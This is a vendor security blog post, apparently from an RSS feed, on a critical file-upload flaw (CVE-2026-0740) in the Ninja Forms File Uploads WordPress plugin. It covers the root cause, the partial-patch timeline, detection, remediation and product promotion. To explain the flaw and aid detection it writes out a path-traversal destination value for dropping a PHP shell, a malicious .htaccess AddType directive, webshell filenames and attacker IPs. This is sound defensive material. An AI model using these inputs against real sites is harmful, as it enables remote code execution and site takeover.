&lt;h2&gt;What are the details of CVE-2026-0740?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;9.8 Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Arbitrary File Upload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerable function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Root cause&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No destination filename validation or sanitization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&amp;lt;= 3.3.26&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Partial patch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3.3.25 (February 10, 2026) - still vulnerable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Full patch&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3.3.27&lt;/strong&gt; (March 19, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auth required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No - unauthenticated&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Publicly disclosed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 6, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sélim Lanouar (whattheslime), via Wordfence Bug Bounty Program&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Active installs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Around 50,000&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;How does the Ninja Forms File Uploads AJAX vulnerability work?&lt;/h2&gt;
&lt;p&gt;The vulnerable function is &lt;code&gt;NF_FU_AJAX_Controllers_Uploads::handle_upload&lt;/code&gt;. It&apos;s the AJAX handler Ninja Forms registers via &lt;code&gt;admin-ajax.php&lt;/code&gt; so visitors can upload files through a contact form. Looking at the code Wordfence published in &lt;a href=&quot;https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/&quot;&gt;their technical analysis&lt;/a&gt;, it &lt;strong&gt;does&lt;/strong&gt; do several things right:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It checks a nonce via &lt;code&gt;check_ajax_referer&lt;/code&gt; to prevent simple CSRF&lt;/li&gt;
&lt;li&gt;It validates the source filename&apos;s extension against a blacklist in a &lt;code&gt;_validate()&lt;/code&gt; helper&lt;/li&gt;
&lt;li&gt;It requires a form ID and a field ID to be present&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Where it fails is in the handling of the &lt;strong&gt;destination&lt;/strong&gt; filename - what the plugin will call the file once it has been saved to disk.&lt;/p&gt;
&lt;p&gt;After validating the uploaded file, the plugin reads a POST parameter (a key derived from the file field name) to determine the destination filename. In the vulnerable versions, that destination filename is not sanitized and its extension is not re-checked. An attacker uploads an innocent-looking file such as &lt;code&gt;document.jpg&lt;/code&gt;, which passes the source validation, then supplies a POST parameter telling the plugin to move it to a file called something like &lt;code&gt;../../../../var/www/html/shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The plugin calls &lt;code&gt;move_uploaded_file()&lt;/code&gt; with the attacker-controlled destination and writes a PHP file to wherever the attacker asked for it. Request that PHP file directly, and you have remote code execution on a server running around 50,000 sites&apos; worth of contact forms.&lt;/p&gt;
&lt;p&gt;The fix in 3.3.27 adds the checks that were missing: &lt;code&gt;basename()&lt;/code&gt; to strip path traversal, &lt;code&gt;sanitize_file_name()&lt;/code&gt; to clean the filename, and &lt;code&gt;pathinfo()&lt;/code&gt; plus a blacklist check on the destination extension. You can see the sanitization logic clearly in the patched code Wordfence published, including this comment from the vendor:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Security fix: Sanitize user-provided filename to prevent path traversal
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;File upload AJAX handlers have far more surface area than they look. Checking the obvious things (nonce, source filename) is not the same as checking the complete data flow. The obvious checks are the ones developers remember. The subtle ones - destination path traversal, destination extension, basename sanitization, the interaction between raw POST input and WordPress&apos;s own filename functions - are the ones that get missed. That is the AJAX pattern in a sentence, and it&apos;s the reason this post exists.&lt;/p&gt;
&lt;h2&gt;Why did the first Ninja Forms File Uploads patch not fix CVE-2026-0740?&lt;/h2&gt;
&lt;p&gt;Wordfence received the responsible disclosure on January 8, 2026 and shipped a firewall rule to Premium customers the same day. The vendor acknowledged on January 12, sent a patch for review on January 27, and released &lt;strong&gt;3.3.25 on February 10&lt;/strong&gt; as the first patched version.&lt;/p&gt;
&lt;p&gt;Except 3.3.25 was not actually patched. It fixed part of the destination filename handling but left the exploit path open. &lt;strong&gt;3.3.26 was also still vulnerable.&lt;/strong&gt; The fully patched version, &lt;strong&gt;3.3.27, did not ship until March 19&lt;/strong&gt; - over a month later.&lt;/p&gt;
&lt;p&gt;If your WordPress auto-updater ran any time between February 10 and March 19, it pulled down a version that looked patched on every monitoring dashboard and every security scanner feed, but was still exploitable. The version number went up, the changelog mentioned a security fix, the dashboard went green. Nothing about that process told you the fix had failed. This is one of the reasons some agencies &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable auto-updates entirely&lt;/a&gt; and drive all plugin updates manually from a central dashboard after verifying the patch is the &lt;em&gt;actual&lt;/em&gt; fix.&lt;/p&gt;
&lt;p&gt;Wordfence&apos;s &lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;advisory&lt;/a&gt; spells out the timeline in plain text: &quot;The vulnerability was partially patched in version 3.3.25 and fully patched in version 3.3.27.&quot; If you only read the CVE summary and see &quot;patched in 3.3.25&quot;, you will miss it.&lt;/p&gt;
&lt;p&gt;The only safe version is &lt;strong&gt;3.3.27 or later&lt;/strong&gt;. Anything below that is a live exposure, and &quot;we updated it&quot; and &quot;we&apos;re safe&quot; are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large.&lt;/p&gt;
&lt;h2&gt;Which WordPress sites run Ninja Forms File Uploads?&lt;/h2&gt;
&lt;p&gt;Ninja Forms is one of the more popular form plugins for WordPress. The File Uploads extension is a paid add-on that plenty of sites use for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Recruitment sites collecting CVs from applicants&lt;/li&gt;
&lt;li&gt;Professional services sites accepting project briefs and portfolios&lt;/li&gt;
&lt;li&gt;Support portals where customers attach logs or screenshots&lt;/li&gt;
&lt;li&gt;Contact forms on agency sites that need file attachments&lt;/li&gt;
&lt;li&gt;Event registration forms accepting ID documents&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Anywhere a WordPress site accepts files from the public through Ninja Forms, there is a reasonable chance this add-on is the plugin doing it.&lt;/p&gt;
&lt;p&gt;Across the sites connected to mySites.guru, hundreds of installs turn up spread across many customer accounts, and a meaningful fraction are still on vulnerable versions. That is the reality across every large WordPress portfolio right now: some sites are patched, some are not, and without a dashboard that lets you group every install by version number, you are guessing.&lt;/p&gt;
&lt;h2&gt;How do I find which of my WordPress sites are running Ninja Forms File Uploads?&lt;/h2&gt;
&lt;p&gt;There are three ways to answer the question &quot;which of my sites are running Ninja Forms File Uploads below 3.3.27&quot;. Only one of them scales.&lt;/p&gt;
&lt;h3&gt;Manual check (single site)&lt;/h3&gt;
&lt;p&gt;If you only manage one WordPress site, the manual check takes a minute:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into wp-admin&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;Plugins&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Installed Plugins&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Find &quot;Ninja Forms - File Uploads&quot; in the list&lt;/li&gt;
&lt;li&gt;Look at the version number&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Anything below 3.3.27 - including 3.3.25 and 3.3.26, which show up as &quot;updated&quot; but are not actually patched - needs updating immediately.&lt;/p&gt;
&lt;h3&gt;WP-CLI (handful of sites)&lt;/h3&gt;
&lt;p&gt;If you have SSH access and WP-CLI on each site, this gets you the version without logging into wp-admin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin get ninja-forms-uploads --field=version
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to update in one command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp plugin update ninja-forms-uploads
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Workable for five or ten sites if you don&apos;t mind SSHing around. Unworkable for fifty.&lt;/p&gt;
&lt;h3&gt;Bulk check with mySites.guru (unlimited sites)&lt;/h3&gt;
&lt;p&gt;mySites.guru indexes every plugin on every connected site continuously. The Extension Search groups all variants of a plugin by its internal key hash, so a single URL lists every version of Ninja Forms File Uploads across your entire portfolio, grouped by version number.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: check your Ninja Forms File Uploads versions now&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/b0d077c2b95fae5a814e33d06996c838&quot;&gt;Open Ninja Forms File Uploads Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every version of Ninja Forms File Uploads across all your connected sites, grouped by version number. Anything below 3.3.27 needs updating right now. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; to get this visibility across your whole portfolio in minutes.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Or, if you prefer to drive it from the dashboard:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open &lt;strong&gt;Your WordPress Extensions&lt;/strong&gt; in mySites.guru&lt;/li&gt;
&lt;li&gt;Type &quot;ninja-forms-uploads&quot; in the filter bar&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Which sites?&lt;/strong&gt; next to the entry to see every site running it, grouped by version number&lt;/li&gt;
&lt;li&gt;Any site on 3.3.26 or earlier is vulnerable - you already have the list&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Push the update in bulk&lt;/a&gt; from the same dashboard&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sites running vulnerable versions are flagged automatically with a red &lt;strong&gt;Vulnerable Plugins!&lt;/strong&gt; badge. You do not need to remember version numbers or cross-reference CVE databases - mySites.guru cross-references every installed plugin against the Wordfence and Patchstack vulnerability feeds twice daily and flags outdated or vulnerable versions for you.&lt;/p&gt;
&lt;p&gt;The question &quot;which of my sites are still on 3.3.26&quot; goes from an afternoon of manual checks to a few seconds. A hundred-site portfolio resolves in the same time as a five-site portfolio.&lt;/p&gt;
&lt;p&gt;Single-site tools cannot answer this question by design. &lt;a href=&quot;https://www.wordfence.com/&quot;&gt;Wordfence&lt;/a&gt; runs on each site individually and does not give you a cross-portfolio view. &lt;a href=&quot;https://managewp.com/&quot;&gt;ManageWP&lt;/a&gt; and &lt;a href=&quot;https://mainwp.com/&quot;&gt;MainWP&lt;/a&gt; track WordPress but not Joomla. mySites.guru is built around this specific question: given a CVE, which of my sites are affected right now, and how do I push the fix without logging into each one.&lt;/p&gt;
&lt;h2&gt;Are there indicators of compromise for CVE-2026-0740?&lt;/h2&gt;
&lt;p&gt;Yes, and they are specific enough to grep for. Wordfence published its &lt;a href=&quot;https://www.wordfence.com/blog/2026/04/attackers-actively-exploiting-critical-vulnerability-in-ninja-forms-file-upload-plugin/&quot;&gt;attack data on April 16&lt;/a&gt; with live request payloads, the most active attacker IPs, and the exact URL pattern to hunt in access logs.&lt;/p&gt;
&lt;h3&gt;Request signature to look for&lt;/h3&gt;
&lt;p&gt;The common attack vector is a POST request to &lt;code&gt;admin-ajax.php&lt;/code&gt; with the &lt;code&gt;nf_fu_upload&lt;/code&gt; action. Grep your webserver access logs for either of these patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/wp-admin/admin-ajax.php?action=nf_fu_upload
/wp-admin/admin-ajax.php  (with POST body containing action=nf_fu_upload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exploit attempts typically include a &lt;code&gt;multipart/form-data&lt;/code&gt; body with a destination filename pointed at a &lt;code&gt;.php&lt;/code&gt; path (for example &lt;code&gt;nf_lab_10e31d63.php&lt;/code&gt; or &lt;code&gt;../../wp_cache.php&lt;/code&gt;), or a URL-encoded destination of &lt;code&gt;%2ehtaccess&lt;/code&gt; alongside a file that carries a GIF89a or PDF magic-byte header but actually contains PHP.&lt;/p&gt;
&lt;h3&gt;Files to hunt on disk&lt;/h3&gt;
&lt;p&gt;Attackers are dropping two kinds of artefact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PHP webshells&lt;/strong&gt; in the webroot and in &lt;code&gt;/wp-content/uploads/&lt;/code&gt;, often with names designed to blend in: &lt;code&gt;wp_cache.php&lt;/code&gt;, &lt;code&gt;nf_lab_*.php&lt;/code&gt;, or any PHP file whose modified time lines up with a matching POST to &lt;code&gt;admin-ajax.php?action=nf_fu_upload&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Malicious &lt;code&gt;.htaccess&lt;/code&gt; files&lt;/strong&gt; in upload directories that add &lt;code&gt;AddType application/x-httpd-php .txt&lt;/code&gt; (or similar) so &lt;code&gt;.txt&lt;/code&gt; or other harmless-looking files execute as PHP. If you find a &lt;code&gt;.htaccess&lt;/code&gt; in an uploads directory that you did not put there, treat it as compromise until proven otherwise.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One observed payload self-identifies in its output as a &lt;code&gt;bashd3x&lt;/code&gt; uploader and calls &lt;code&gt;php_uname()&lt;/code&gt; on first hit - that string in a file or in your logs is a strong signal.&lt;/p&gt;
&lt;h3&gt;Top attacker IPs (as of April 16, 2026)&lt;/h3&gt;
&lt;p&gt;Wordfence&apos;s top ten most active IPs for this CVE, ordered by blocked request count:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;IP address&lt;/th&gt;
&lt;th&gt;Blocked requests&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;124.248.183.139&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;53,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;152.42.221.239&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;14,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;124.108.54.86&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;8,000+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;82.29.88.44&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3,400+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;143.198.143.185&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2,800+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;185.213.83.150&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1,700+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;168.144.32.17&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1,500+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;182.9.35.168&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1,400+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;37.19.205.247&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1,400+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;160.202.35.137&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1,300+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These IPs are a useful grep starting point for historical log review, but do not rely on them alone. Block lists age fast and new scanners rotate in daily. Any POST to &lt;code&gt;admin-ajax.php?action=nf_fu_upload&lt;/code&gt; from an unexpected IP is worth treating as hostile.&lt;/p&gt;
&lt;h2&gt;What do I do if I find a WordPress site exposed to CVE-2026-0740?&lt;/h2&gt;
&lt;p&gt;Patching is step one, but this is an unauthenticated RCE. Anyone scanning the internet for vulnerable installs could already have dropped a webshell. Treat any site you find on 3.3.26 or earlier as potentially compromised and check before you close the ticket.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Update to 3.3.27 or later.&lt;/strong&gt; Not 3.3.25. Not 3.3.26. From mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push the update in bulk&lt;/a&gt; to every affected site at once.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Scan for webshells and backdoors at the file level.&lt;/strong&gt; The vulnerability writes attacker-controlled PHP anywhere writable on disk, so grep-for-suspicious-filenames is not enough. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;deep file scanner&lt;/a&gt; inspects every file in the webspace against 12 years of threat signature data and flags webshells, backdoors, and known hacked files regardless of where they were placed. Run it on every site you just patched, not just the obviously dodgy ones. The ones that look clean are the ones you missed. There is more detail on how this works in our post on &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;finding hacked files and backdoors in Joomla and WordPress&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Review the Ninja Forms uploads directory manually too.&lt;/strong&gt; Uploads typically land under &lt;code&gt;wp-content/uploads/ninja-forms/&lt;/code&gt;, but because of the path traversal, the malicious file could be anywhere. Look for PHP files in upload directories, recently modified PHP files outside &lt;code&gt;wp-content/plugins/&lt;/code&gt;, any file with a suspicious name in the webroot, and crucially &lt;strong&gt;any &lt;code&gt;.htaccess&lt;/code&gt; file in an uploads directory you did not put there&lt;/strong&gt; - attackers are using these to turn harmless file types into executable PHP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Grep your webserver access logs&lt;/strong&gt; for POST requests to &lt;code&gt;admin-ajax.php?action=nf_fu_upload&lt;/code&gt; and cross-reference against the &lt;a href=&quot;#are-there-indicators-of-compromise-for-cve-2026-0740&quot;&gt;top attacker IPs&lt;/a&gt; listed above. Anything from an unexpected IP, at an unusual time, or with a suspicious &lt;code&gt;referer&lt;/code&gt; header is worth investigating. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time activity alerting&lt;/a&gt; also catches new PHP files being written and admin logins from unfamiliar IPs, which is exactly the post-exploitation signal you want to see on this kind of vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Check the usual post-compromise indicators.&lt;/strong&gt; Unknown admin users, modified core files, unexpected cron jobs, new scheduled tasks, outbound connections from the web server process. Our post on &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;how to tell if your WordPress site is hacked&lt;/a&gt; covers the full checklist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Rotate credentials if you find evidence of compromise.&lt;/strong&gt; Treat anything in &lt;code&gt;wp-config.php&lt;/code&gt; (database credentials, salts, API keys) as leaked and rotate it. Reset every admin password. Invalidate active sessions.&lt;/p&gt;
&lt;p&gt;If you find a compromised site and do not want to handle the clean-up yourself, &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;mySites.guru&apos;s hack recovery service&lt;/a&gt; takes over from here: we identify every affected file, remove the backdoors, patch the vulnerability, and harden the site against re-compromise.&lt;/p&gt;
&lt;h2&gt;How can I prevent the next WordPress plugin AJAX vulnerability from hitting my sites?&lt;/h2&gt;
&lt;p&gt;This is not going to be the last WordPress plugin AJAX handler to ship an unauthenticated RCE. The pattern of &quot;check the obvious thing, miss the subtle one&quot; is structural, not accidental, and every time a new one lands the game is the same: find your vulnerable sites before the scanners do.&lt;/p&gt;
&lt;p&gt;A few things tilt the odds in your favour, and mySites.guru does all of them by default:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;Continuous vulnerability scanning&lt;/a&gt;&lt;/strong&gt; across every connected site, cross-referenced against Wordfence and Patchstack feeds twice daily. A new CVE drops, the dashboard tells you who is exposed, you don&apos;t have to read the advisories yourself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file-change alerting&lt;/a&gt;&lt;/strong&gt; so new PHP files appearing in upload directories or the webroot trigger an immediate notification. This is the single highest-signal alert for file-upload RCEs - the attacker&apos;s first move after exploitation is writing a file that did not exist before.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Bulk plugin updates&lt;/a&gt;&lt;/strong&gt; across your whole portfolio in one action, so the window between disclosure and patch is minutes, not days.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin login alerting&lt;/strong&gt; on every connected site, catching the common post-exploit move of creating a new administrator account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Daily deep file scans&lt;/strong&gt; against 12 years of threat signature data, so webshells dropped via vulnerabilities you did not even know about still get caught before they do damage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is why auto-updates are a safety net and not a strategy. They will happily carry you onto a partial fix like 3.3.25 and then stop. Monitoring, bulk-update control, file-change alerting, and deep scanning are what catch the things auto-updates miss. If you want a concrete operational routine for running these checks across a portfolio, we wrote up exactly that in &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;how to build a five-minute morning routine for checking all your sites&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What is the broader lesson for WordPress agencies?&lt;/h2&gt;
&lt;p&gt;A version number that &lt;em&gt;looks&lt;/em&gt; patched is not the same as a version that &lt;em&gt;is&lt;/em&gt; patched. The only authoritative check is to compare the installed version against the fully patched version published by the vendor, not the first version the vendor labelled as a fix.&lt;/p&gt;
&lt;p&gt;AJAX file upload handlers have far more surface area than they look, and &quot;we patched it&quot; and &quot;we are safe&quot; are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large. If you manage more than a handful of sites, you need a way to answer &quot;which of my sites are running plugin X below version Y&quot; in under a minute, and a way to see if anything unexpected has been written to disk since the last scan. Without both, you cannot respond to vulnerabilities like this before the scanners finish their sweep.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Stop guessing which sites are vulnerable&lt;/p&gt;
  &lt;p&gt;mySites.guru connects to every WordPress and Joomla site you manage, indexes every plugin and extension, and cross-references them against vulnerability databases continuously. One flat price of £19.99 per month. Unlimited sites. Same pricing since 2012.&lt;/p&gt;
  &lt;div&gt;
    &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt;
    &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/04/attackers-actively-exploiting-critical-vulnerability-in-ninja-forms-file-upload-plugin/&quot;&gt;Wordfence: Attackers Actively Exploiting Critical Vulnerability in Ninja Forms File Upload Plugin&lt;/a&gt; - the April 16 attack-data write-up with real exploit payloads, top attacker IPs, and confirmation of over 118,600 blocked exploit attempts&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/04/50000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-ninja-forms-file-upload-wordpress-plugin/&quot;&gt;Wordfence: 50,000 WordPress Sites affected by Arbitrary File Upload Vulnerability in Ninja Forms File Upload&lt;/a&gt; - the primary public disclosure with full technical analysis, vulnerable code, and disclosure timeline&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/ninja-forms-uploads/ninja-forms-file-upload-3326-unauthenticated-arbitrary-file-upload&quot;&gt;Wordfence advisory for CVE-2026-0740&lt;/a&gt; - the Wordfence Intelligence entry with CVSS vector and version detail&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints Are A Big CMS Security Blind Spot&lt;/a&gt; - our deep dive on why WordPress and Joomla AJAX handlers keep producing critical CVEs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four Major WordPress Plugins Patched Security Flaws in March 2026&lt;/a&gt; - the previous month&apos;s plugin CVEs, several of which shared the AJAX-handler root cause&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework Vulnerability&lt;/a&gt; - sibling Joomla AJAX handler CVE (CVE-2026-21628) with the same root cause&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Joomla Vulnerability&lt;/a&gt; - another Joomla &lt;code&gt;com_ajax&lt;/code&gt; handler shipping unauthenticated file operations (CVE-2026-21627)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Arbitrary File Read Vulnerability&lt;/a&gt; - WordPress &lt;code&gt;admin-ajax.php&lt;/code&gt; handler skipping authorisation (CVE-2026-3098)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;Is My WordPress Site Hacked?&lt;/a&gt; - checklist of post-compromise indicators if you suspect a site has been hit&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/ninja-forms-uploads/&quot;&gt;Patchstack entry for Ninja Forms File Uploads&lt;/a&gt; - full vulnerability history for the plugin&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>ninja-forms</category><category>ajax</category><category>security</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/ninja-forms-file-uploads-cve-2026-0740.8wt3VxLh.png" length="0" type="image/png"/></item><item><title>4 Major WordPress Plugins Patched Security Flaws in March 2026</title><link>https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/</link><guid isPermaLink="true">https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/</guid><description>Elementor, Yoast SEO, WPForms, and Really Simple Security all shipped security patches in March 2026. Here&apos;s what was fixed, who&apos;s affected, and how to verify your sites.</description><pubDate>Mon, 06 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Four of WordPress&apos;s most-installed plugins all shipped security patches in March 2026: Elementor (10 million active installs), Yoast SEO (10 million), WPForms (6 million), and Really Simple Security (3 million). Combined, that is over 29 million WordPress installations running code that needed fixing.&lt;/p&gt;
&lt;p&gt;The patches shipped as minor version bumps. No emergency banners, no vendor blog posts sounding the alarm. If you check your plugins regularly, you might have noticed the update dot. If you rely on auto-updates, you might be fine. If you do neither, your sites are still vulnerable.&lt;/p&gt;
